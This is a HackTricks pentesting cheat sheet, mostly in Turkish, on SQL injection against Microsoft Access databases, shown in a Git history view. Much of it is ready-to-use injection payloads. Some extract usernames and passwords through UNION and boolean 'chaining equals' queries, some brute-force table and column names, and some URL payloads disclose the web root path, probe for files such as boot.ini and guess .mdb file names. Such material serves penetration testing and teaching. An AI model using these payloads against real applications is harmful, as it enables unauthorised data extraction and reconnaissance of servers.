hacktricks/pentesting-web/sql-injection/ms-access-sql-injection.md

195 lines
9.9 KiB
Markdown
Raw Normal View History

2022-08-31 13:22:13 +00:00
# MS Access SQL Injection
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-08-31 13:22:13 +00:00
<details>
2022-08-31 13:22:13 +00:00
<summary>HackTricks'i Destekleyin</summary>
2022-08-31 13:22:13 +00:00
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
2022-08-31 13:22:13 +00:00
</details>
{% endhint %}
2022-08-31 13:22:13 +00:00
2024-02-10 18:14:16 +00:00
## Çevrimiçi Oyun Alanı
2022-08-31 13:22:13 +00:00
* [https://www.w3schools.com/sql/trysql.asp?filename=trysql\_func\_ms\_format\&ss=-1](https://www.w3schools.com/sql/trysql.asp?filename=trysql\_func\_ms\_format\&ss=-1)
2024-02-10 18:14:16 +00:00
## DB Sınırlamaları
2022-08-31 13:22:13 +00:00
2024-02-10 18:14:16 +00:00
### Dize Birleştirme
2022-08-31 13:22:13 +00:00
Dize birleştirme `& (%26)` ve `+ (%2b)` karakterleri ile mümkündür.
2022-08-31 13:22:13 +00:00
```sql
1' UNION SELECT 'web' %2b 'app' FROM table%00
1' UNION SELECT 'web' %26 'app' FROM table%00
```
2024-02-10 18:14:16 +00:00
### Yorumlar
2022-08-31 13:22:13 +00:00
MS Access'te yorum yoktur, ancak görünüşe göre bir sorgunun sonunu NULL karakteri ile kaldırmak mümkündür:
2022-08-31 13:22:13 +00:00
```sql
1' union select 1,2 from table%00
```
Eğer bu çalışmıyorsa, sorgunun sözdizimini her zaman düzeltebilirsiniz:
2022-08-31 13:22:13 +00:00
```sql
1' UNION SELECT 1,2 FROM table WHERE ''='
```
### Stacked Queries
2022-08-31 13:22:13 +00:00
Desteklenmiyorlar.
2022-08-31 13:22:13 +00:00
### LIMIT
**`LIMIT`** operatörü **uygulanmamıştır**. Ancak, SELECT sorgu sonuçlarını **ilk N tablo satırı ile sınırlamak mümkündür, `TOP` operatörünü kullanarak**. `TOP`, döndürülecek satır sayısını temsil eden bir tam sayı argümanı alır.
2022-08-31 13:22:13 +00:00
```sql
1' UNION SELECT TOP 3 attr FROM table%00
```
Just like TOP you can use **`LAST`** which will get the **satırları sonundan**.
2022-08-31 13:22:13 +00:00
2024-02-10 18:14:16 +00:00
## UNION Sorguları/Alt sorgular
2022-08-31 13:22:13 +00:00
Bir SQLi'de genellikle başka tablolardan bilgi çıkarmak için yeni bir sorgu çalıştırmak istersiniz. MS Access her zaman **alt sorgularda veya ek sorgularda bir `FROM` belirtilmesini gerektirir**.\
Bu nedenle, bir `UNION SELECT` veya `UNION ALL SELECT` veya bir koşul içinde parantez içindeki bir `SELECT` çalıştırmak istiyorsanız, her zaman **geçerli bir tablo adı ile bir `FROM` belirtmeniz gerekir**.\
Bu nedenle, **geçerli bir tablo adını** bilmeniz gerekir.
2022-08-31 13:22:13 +00:00
```sql
-1' UNION SELECT username,password from users%00
```
### Chaining equals + Substring
2022-08-31 13:22:13 +00:00
{% hint style="warning" %}
Bu, tablo adını bilmeden mevcut tablonun değerlerini dışa aktarmanıza olanak tanır.
2022-08-31 13:22:13 +00:00
{% endhint %}
**MS Access**, **`'1'=2='3'='asd'=false`** gibi **garip sözdizimlerine** izin verir. Genellikle SQL enjeksiyonu bir **`WHERE`** ifadesinin içinde olacaktır, bunu kötüye kullanabiliriz.
2022-08-31 13:22:13 +00:00
Bir MS Access veritabanında bir SQLi'ye sahip olduğunuzu ve bir **sütun adının username** olduğunu bildiğinizi (veya tahmin ettiğinizi) hayal edin ve dışa aktarmak istediğiniz alan bu. Chaining equals tekniği kullanıldığında web uygulamasının farklı yanıtlarını kontrol edebilir ve **Mid** fonksiyonunu kullanarak alt dizeleri almak için **boolean injection** ile içerik dışa aktarabilirsiniz.
2022-08-31 13:22:13 +00:00
```sql
'=(Mid(username,1,3)='adm')='
```
Eğer **tablonun adını** ve **dökülecek sütunu** biliyorsanız, `Mid`, `LAST` ve `TOP` kombinasyonunu kullanarak **tüm bilgileri sızdırmak** için boolean SQLi kullanabilirsiniz:
2022-08-31 13:22:13 +00:00
```sql
'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='
```
_Feel free to check this in the online playground._
2022-08-31 13:22:13 +00:00
### Brute-forcing Tables names
2022-08-31 13:22:13 +00:00
Chaining equals tekniğini kullanarak, **tablo adlarını brute-force** yapmak için şunları kullanabilirsiniz:
2022-08-31 13:22:13 +00:00
```sql
'=(select+top+1+'lala'+from+<table_name>)='
```
Daha geleneksel bir yol da kullanabilirsiniz:
2022-08-31 13:22:13 +00:00
```sql
-1' AND (SELECT TOP 1 <table_name>)%00
```
_Feel free to check this in the online playground._
2022-08-31 13:22:13 +00:00
2024-02-10 18:14:16 +00:00
* Sqlmap yaygın tablo adları: [https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt](https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt)
* [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html) adresinde başka bir liste var.
2022-08-31 13:22:13 +00:00
### Sütun adlarını Brute-Force ile Bulma
2022-08-31 13:22:13 +00:00
Mevcut sütun adlarını **brute-force ile bulmak** için eşit zincirleme hilesini kullanabilirsiniz:
2022-08-31 13:22:13 +00:00
```sql
'=column_name='
```
Ya da **group by** ile:
2022-08-31 13:22:13 +00:00
```sql
-1' GROUP BY column_name%00
```
Ya da **farklı bir tablonun** sütun adlarını brute-force ile bulabilirsiniz:
2022-08-31 13:22:13 +00:00
```sql
'=(SELECT TOP 1 column_name FROM valid_table_name)='
-1' AND (SELECT TOP 1 column_name FROM valid_table_name)%00
```
### Dumping data
2022-08-31 13:22:13 +00:00
Zaten [**eşit zincirleme tekniği**](ms-access-sql-injection.md#chaining-equals-+-substring) **ile mevcut ve diğer tablolardan veri dökme** konusunu tartıştık. Ancak başka yollar da var:
2022-08-31 13:22:13 +00:00
```sql
IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')
```
Kısacası, sorgu bir “if-then” ifadesi kullanarak başarı durumunda “200 OK” veya aksi takdirde “500 Internal Error” tetikler. TOP 10 operatöründen faydalanarak, ilk on sonucu seçmek mümkündür. Ardından LAST kullanımı, yalnızca 10. tuple'ı dikkate almayı sağlar. Bu değerde, MID operatörünü kullanarak basit bir karakter karşılaştırması yapmak mümkündür. MID ve TOP'un indeksini uygun şekilde değiştirerek, tüm satırlar için “username” alanının içeriğini dökebiliriz.
2022-08-31 13:22:13 +00:00
### Zaman Tabanlı
2022-08-31 13:22:13 +00:00
[https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676\(v=technet.10\)?redirectedfrom=MSDN) adresini kontrol edin.
2022-08-31 13:22:13 +00:00
### Diğer İlginç Fonksiyonlar
2022-08-31 13:22:13 +00:00
* `Mid('admin',1,1)` konum 1'den uzunluğu 1 olan alt dize alır (başlangıç konumu 1'dir)
* `LEN('1234')` dize uzunluğunu alır
2024-02-10 18:14:16 +00:00
* `ASC('A')` karakterin ascii değerini alır
* `CHR(65)` ascii değerinden dize alır
* `IIF(1=1,'a','b')` eğer o zaman
* `COUNT(*)` öğe sayısını sayar
2022-08-31 13:22:13 +00:00
## Tabloları Sayma
2022-08-31 13:22:13 +00:00
[**buradan**](https://dataedo.com/kb/query/access/list-of-tables-in-the-database) tablo isimlerini almak için bir sorgu görebilirsiniz:
2022-08-31 13:22:13 +00:00
```sql
select MSysObjects.name
from MSysObjects
where
2024-02-10 18:14:16 +00:00
MSysObjects.type In (1,4,6)
and MSysObjects.name not like '~*'
and MSysObjects.name not like 'MSys*'
2022-08-31 13:22:13 +00:00
order by MSysObjects.name
```
Ancak, **`MSysObjects`** tablosunu okumak için erişiminiz olmadığında SQL Enjeksiyonları bulmanın çok tipik olduğunu unutmayın.
2022-08-31 13:22:13 +00:00
2024-02-10 18:14:16 +00:00
## Dosya Sistemi Erişimi
2022-08-31 13:22:13 +00:00
2024-02-10 18:14:16 +00:00
### Web Kök Dizin Tam Yolu
2022-08-31 13:22:13 +00:00
**Web kök mutlak yolunun bilgisi, daha fazla saldırıyı kolaylaştırabilir**. Uygulama hataları tamamen gizlenmemişse, dizin yolu, var olmayan bir veritabanından veri seçmeye çalışarak ortaya çıkarılabilir.
2022-08-31 13:22:13 +00:00
`http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00`
MS Access, **web dizininin tam yolunu içeren bir hata mesajı** ile yanıt verir.
2022-08-31 13:22:13 +00:00
### Dosya Sayımı
2022-08-31 13:22:13 +00:00
Aşağıdaki saldırı vektörü, **uzaktaki dosya sisteminde bir dosyanın varlığını çıkarım yapmak için** kullanılabilir. Belirtilen dosya mevcutsa, MS Access, veritabanı formatının geçersiz olduğunu bildiren bir hata mesajı tetikler:
2022-08-31 13:22:13 +00:00
`http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00`
Dosyaları saymanın bir diğer yolu, **bir veritabanı.tablosu öğesini belirtmektir**. **Eğer** belirtilen **dosya mevcutsa**, MS Access, **veritabanı format hatası mesajı** gösterir.
2022-08-31 13:22:13 +00:00
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00`
2024-02-10 18:14:16 +00:00
### .mdb Dosya Adı Tahmini
2022-08-31 13:22:13 +00:00
**Veritabanı dosya adı (.mdb)** aşağıdaki sorgu ile çıkarılabilir:
2022-08-31 13:22:13 +00:00
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00`
Burada **name\[i] bir .mdb dosya adıdır** ve **realTable, veritabanı içinde mevcut bir tablodur**. MS Access her zaman bir hata mesajı tetikleyecek olsa da, geçersiz bir dosya adı ile geçerli bir .mdb dosya adını ayırt etmek mümkündür.
2022-08-31 13:22:13 +00:00
2024-02-10 18:14:16 +00:00
### .mdb Şifre Kırıcı
2022-08-31 13:22:13 +00:00
[**Access PassView**](https://www.nirsoft.net/utils/accesspv.html), Microsoft Access 95/97/2000/XP veya Jet Database Engine 3.0/4.0 ana veritabanı şifresini kurtarmak için kullanılabilecek ücretsiz bir araçtır.
2022-08-31 13:22:13 +00:00
2024-02-10 18:14:16 +00:00
## Referanslar
2022-08-31 13:22:13 +00:00
* [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-08-31 13:22:13 +00:00
<details>
2022-08-31 13:22:13 +00:00
<summary>Support HackTricks</summary>
2022-08-31 13:22:13 +00:00
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-08-31 13:22:13 +00:00
</details>
{% endhint %}